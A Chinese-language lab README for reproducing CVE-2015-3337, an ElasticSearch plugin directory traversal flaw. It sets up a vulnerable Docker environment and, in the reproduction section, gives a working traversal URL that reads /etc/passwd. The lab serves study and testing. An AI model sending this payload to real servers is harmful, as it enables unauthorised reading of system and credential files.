ElasticSearch 插件目录穿越漏洞(CVE-2015-3337)

ElasticSearch是一个分布式的RESTful搜索和分析引擎。

在ElasticSearch的插件功能中存在一个目录穿越漏洞,攻击者可以利用该漏洞读取系统上的任意文件。在安装了具有"site"功能的插件后,攻击者可以通过在插件目录路径中使用../来遍历目录树,从而实现任意文件读取。未安装任何插件的ElasticSearch不受此漏洞影响。

参考链接:

环境搭建

执行以下命令来启动一个1.4.4版本的ElasticSearch服务器:

docker compose up -d

测试环境默认安装了一个插件:elasticsearch-head,这是一个ElasticSearch的Web前端界面。关于该插件的更多信息可以在这里找到:https://github.com/mobz/elasticsearch-head

漏洞复现

要利用此漏洞,可以通过在插件路径中使用目录穿越来读取任意文件。例如,要读取/etc/passwd文件,发送如下请求:

http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd

注意:请不要直接在浏览器中访问此URL。

补充信息

head插件提供了ElasticSearch的Web界面。你可以通过访问http://your-ip:9200/_plugin/head/来通过图形界面与你的ElasticSearch集群进行交互。